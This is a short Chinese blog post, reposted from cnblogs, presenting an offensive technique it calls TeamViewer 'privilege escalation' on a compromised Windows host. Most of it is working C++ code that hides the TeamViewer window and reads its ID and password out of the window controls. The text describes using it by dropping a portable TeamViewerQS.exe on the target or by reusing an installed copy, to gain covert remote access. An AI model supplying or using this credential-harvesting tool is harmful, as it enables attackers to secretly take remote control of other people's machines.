teamviewer提权

利用条件:是高权限,但是无法操作的时候,其实如果是免杀都好说,这种提权是实在没有什么方法可以用的时候再使用

#include <windows.h>
#include <stdio.h>

BOOL CALLBACK EnumChildProc(
    HWND hwnd,    // handle to child window
    LPARAM lParam // application-defined value
)
{
    const int BufferSize = 1024;
    char BufferContent[BufferSize] = "";
    ::SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
    printf("%ls
", BufferContent);
    return true;
}

int main()
{
    HWND hTeam;

    hTeam = ::FindWindow(NULL, TEXT("TeamViewer"));
    if (hTeam)
    {
        ::ShowWindow(hTeam, SW_HIDE);
        if (IsWindowVisible(hTeam))
        {
            printf("This window has been hidden");
        }
        EnumChildWindows(hTeam, EnumChildProc, 0);
    }

    return 0;
}

分为两种情况吧

1、第一种情况,目标机器本身没有teamviewer软件,自己用的单文件TeamViewerQS.exe,缺点文件大用rar打包后也有将近10M,然后再用上方编译的程序进行遍历控件读取密码!

2、第二种情况,目标机器上有teamviewer软件,直接用类似的获取句柄然后进行遍历控件,进行获取密码!

原文地址:https://www.cnblogs.com/zpchcbd/p/12160081.html